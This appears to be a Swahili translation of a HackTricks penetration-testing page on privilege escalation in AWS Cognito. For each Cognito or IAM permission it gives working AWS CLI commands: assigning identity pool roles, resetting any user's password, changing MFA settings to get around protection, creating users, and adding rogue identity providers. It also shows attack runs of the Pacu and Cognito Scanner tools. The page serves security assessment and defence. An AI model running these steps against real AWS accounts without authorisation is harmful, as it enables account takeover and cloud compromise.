AWS - Cognito Privesc

unga mkono HackTricks

Cognito

Kwa habari zaidi kuhusu Cognito angalia:

AWS - Cognito Enum

Kukusanya siri kutoka kwa Identity Pool

Kwa kuwa Cognito inaweza kutoa sifa za jukumu la IAM kwa watumiaji waliothibitishwa na wasiothibitishwa, ikiwa utapata Kitambulisho cha Identity Pool cha programu (kinapaswa kuwa kimeandikwa kwa nguvu), unaweza kupata siri mpya na hivyo kufanya privesc (ndani ya akaunti ya AWS ambapo labda hata haukuwa na sifa yoyote hapo awali).

Kwa habari zaidi angalia ukurasa huu.

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la huduma lililounganishwa na watumiaji wasiothibitishwa (na labda kwa lile lililoambatishwa na watumiaji waliothibitishwa).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Kwa idhini hii unaweza kutoa jukumu lolote la cognito kwa watumiaji waliothibitishwa/wasiothibitishwa wa programu ya cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

If the cognito app doesn't have unauthenticated users enabled you might need also the permission cognito-identity:UpdateIdentityPool to enable it.

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu lolote la cognito.

cognito-identity:update-identity-pool

Mshambuliaji mwenye idhini hii anaweza kuweka kwa mfano Cognito User Pool chini ya udhibiti wake au mtoa huduma mwingine yeyote wa kitambulisho ambapo anaweza kuingia kama njia ya kufikia hii Cognito Identity Pool. Kisha, tu kuingia kwenye mtoa huduma huyo wa mtumiaji kutamruhusu kufikia jukumu lililowekwa katika Kitambulisho cha Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Pia ni inawezekana kutumia vibaya ruhusa hii kuruhusu uthibitishaji wa msingi:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Athari Inayoweza Kutokea: Kudukua jukumu la IAM lililojulishwa ndani ya dimbwi la kitambulisho.

cognito-idp:AdminAddUserToGroup

Ruhusa hii inaruhusu kuongeza mtumiaji wa Cognito kwa kikundi cha Cognito, hivyo basi mshambuliaji anaweza kutumia ruhusa hii kuongeza mtumiaji chini ya udhibiti wake kwa vikundi vingine na mamlaka bora au majukumu tofauti ya IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Athari Inayowezekana: Privesc kwenda kwa vikundi vingine vya Cognito na majukumu ya IAM yanayohusishwa na Vikundi vya User Pool.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Mshambuliaji mwenye ruhusa hizi angeweza kuunda/kusasisha vikundi na kila jukumu la IAM linaloweza kutumiwa na Mtoa Huduma wa Kitambulisho cha Cognito kilichodukuliwa na kufanya mtumiaji aliye dhoofishwa kuwa sehemu ya kikundi, kupata ufikivu wa majukumu hayo yote:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Athari Inayowezekana: Privesc kwenda kwa majukumu mengine ya IAM ya Cognito.

cognito-idp:AdminConfirmSignUp

Ruhusa hii inaruhusu kuthibitisha usajili. Kwa chaguo-msingi yeyote anaweza kusajiliwa kwenye programu za Cognito, ikiwa hilo litabaki, mtumiaji anaweza kuunda akaunti na data yoyote na kuihakiki kwa ruhusa hii.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa ikiwa unaweza kusajili mtumiaji mpya. Privesc isiyo ya moja kwa moja kwa utendaji wa programu nyingine ukiwa na uwezo wa kuthibitisha akaunti yoyote.

cognito-idp:AdminCreateUser

Ruhusa hii ingemruhusu mshambuliaji kuunda mtumiaji mpya ndani ya dimbwi la watumiaji. Mtumiaji mpya huundwa akiwa amewezeshwa, lakini atahitaji kubadilisha nenosiri lake.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Athari Inayoweza Kutokea: Privesc moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa. Privesc isiyo ya moja kwa moja kwa utendaji mwingine wa programu ukiwa na uwezo wa kuunda mtumiaji yeyote

cognito-idp:AdminEnableUser

Ruhusa hii inaweza kusaidia katika hali ya kipekee sana ambapo mshambuliaji amepata siri za mtumiaji aliyefungwa na anahitaji kuiruhusu tena.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Athari Inayowezekana: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa na ruhusa ya mtumiaji ikiwa muhusika angekuwa na vyeti vya mtumiaji aliyefungwa.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Kibali hiki kuruhusu kuingia kwa njia ADMIN_USER_PASSWORD_AUTH. Kwa maelezo zaidi fuata kiungo.

cognito-idp:AdminSetUserPassword

Kibali hiki kingeiruhusu muhusika kubadilisha nenosiri la mtumiaji yeyote, kumfanya aweze kujifanya kuwa mtumiaji yeyote (ambaye hana MFA imewezeshwa).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Athari Inayowezekana: Privesc moja kwa moja kwa karibu mtumiaji yeyote, hivyo kupata ufikiaji wa vikundi vyote ambavyo kila mtumiaji ni mwanachama na ufikiaji wa jukumu la IAM lililo thibitishwa na Kitambulisho cha Dimbwi.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Mshambuliaji anaweza kutumia ruhusa hii kwa uwezekano wa kuweka simu ya mkononi chini ya udhibiti wake kama SMS MFA ya mtumiaji.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Kama ilivyokuwa kwa ile ya awali, ruhusa hii inaweza kutumika kuweka upendeleo wa MFA wa mtumiaji ili kudukua ulinzi wa MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Kama ilivyokuwa kwa ile ya awali, ruhusa hii inaweza kutumika kuweka mipendeleo ya MFA ya dimbwi la watumiaji ili kudukua ulinzi wa MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

SasishaUserPool: Pia niwezekana kusasisha dimbwi la watumiaji kubadilisha sera ya MFA. Angalia hapa.

Matokeo Yanayowezekana: Privesc isiyo ya moja kwa moja kwa karibu mtumiaji yeyote ambaye mshambuliaji anajua siri zake, hii inaweza kuruhusu kukiuka ulinzi wa MFA.

cognito-idp:AdminUpdateUserAttributes

Mshambuliaji mwenye idhini hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote ya mtumiaji chini ya udhibiti wake kujaribu kupata mamlaka zaidi katika programu ya msingi. Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuweka kama imethibitishwa.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Athari Inayowezekana: Privesc ya moja kwa moja katika programu inayotumia Cognito User Pool ambayo inatoa mamlaka kulingana na sifa za mtumiaji.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Mshambuliaji mwenye ruhusa hii anaweza kuunda Mteja Mpya wa User Pool usio na vizuizi vingi kama wateja wa pool waliopo tayari. Kwa mfano, mteja mpya unaweza kuruhusu aina yoyote ya njia ya kuthibitisha, usiwe na siri yoyote, kuwezesha kulemaza kufuta ishara, kuruhusu ishara kuwa halali kwa muda mrefu...

Hali hiyo hiyo inaweza kufanyika ikiwa badala ya kuunda mteja mpya, mmoja aliyeopo unabadilishwa.

Katika mstari wa amri (au kisasaisho) unaweza kuona chaguo zote, hakiki!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Athari Inayowezekana: Athari ya privesc isiyo ya moja kwa moja kwa mtumiaji aliyeidhinishwa na Dimbwi la Kitambulisho linalotumiwa na Dimbwi la Watumiaji kwa kujenga mteja mpya ambao unapunguza hatua za usalama na kuruhusu mpangaji kuingia kwa mtumiaji ambaye alikuwa na uwezo wa kuunda.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Mshambuliaji anaweza kutumia ruhusa hii kuunda watumiaji kwa kupakia csv na watumiaji wapya.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa. Privesc isiyo ya moja kwa moja kwa utendaji mwingine wa programu ukiwa na uwezo wa kuunda mtumiaji yeyote.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Mshambuliaji anaweza kuunda mtoa kitambulisho mpya kisha kuweza kuingia kupitia mtoa huyu.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la IAM la dimbwi la kitambulisho kwa watumiaji waliothibitishwa. Privesc isiyo ya moja kwa moja kwa utendaji mwingine wa programu ukiwa na uwezo wa kuunda mtumiaji yeyote.

Uchambuzi wa cognito-sync:*

Hii ni idhini ya kawaida sana kwa chaguo-msingi katika majukumu ya Dimbwi la Kitambulisho la Cognito. Hata kama alama ya mwanya katika idhini daima inaonekana mbaya (hasa ikija kutoka AWS), idhini zilizotolewa sio za maana sana kutoka mtazamo wa mshambuliaji.

Idhini hii inaruhusu kusoma habari ya matumizi ya Dimbwi la Kitambulisho na Vitambulisho vya Kitambulisho ndani ya Dimbwi la Kitambulisho (ambayo sio habari nyeti). Vitambulisho vya Kitambulisho vinaweza kuwa na Datasets zilizopewa, ambazo ni habari za vikao (AWS inaielezea kama mchezo uliohifadhiwa). Huenda ikawa inawezekana kwamba hii ina habari fulani nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata katika ukurasa wa uchambuzi jinsi ya kupata habari hii.

Mshambuliaji pia anaweza kutumia idhini hizi kujisajili kwenye mtiririko wa Cognito unaotangaza mabadiliko kwenye vikao hivi au lambda inayosababisha matukio ya cognito. Sijawahi kuona hili likitumika, na singetarajia kuwepo kwa habari nyeti hapa, lakini sio jambo lisilowezekana.

Zana za Kiotomatiki

  • Pacu, fremu ya unyonyaji ya AWS, sasa inajumuisha moduli za "cognito__enum" na "cognito__attack" ambazo zinautomatisha uchambuzi wa mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumiwa kwa udhibiti wa ufikiaji, n.k., na pia kiotomatiki uundaji wa mtumiaji (ikiwa ni pamoja na usaidizi wa MFA) na upandishaji wa hadhi kulingana na sifa za desturi zinazoweza kubadilishwa, vitambulisho vya dimbwi la kitambulisho vinavyoweza kutumiwa, majukumu yanayoweza kufikiwa katika alama za kitambulisho, n.k.

Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya machapisho ya blogi. Kwa maelekezo ya usakinishaji angalia ukurasa wa kuu wa Pacu.

Matumizi

Matumizi ya mfano ya cognito__attack kujaribu uundaji wa mtumiaji na vekta zote za privesc dhidi ya dimbwi la kitambulisho lililotolewa na mteja wa dimbwi la mtumiaji:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Matumizi ya cognito__enum kuchanganua mabwawa yote ya watumiaji, wateja wa bwawa la watumiaji, mabwawa ya utambulisho, watumiaji, n.k. yanayoonekana katika akaunti ya AWS ya sasa:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ni chombo cha CLI kilichoandikwa kwa python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na kubainisha uwezekano wa kuongeza mamlaka.

Usanidi

$ pip install cognito-scanner

Matumizi

$ cognito-scanner --help

Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner

Support HackTricks

Last updated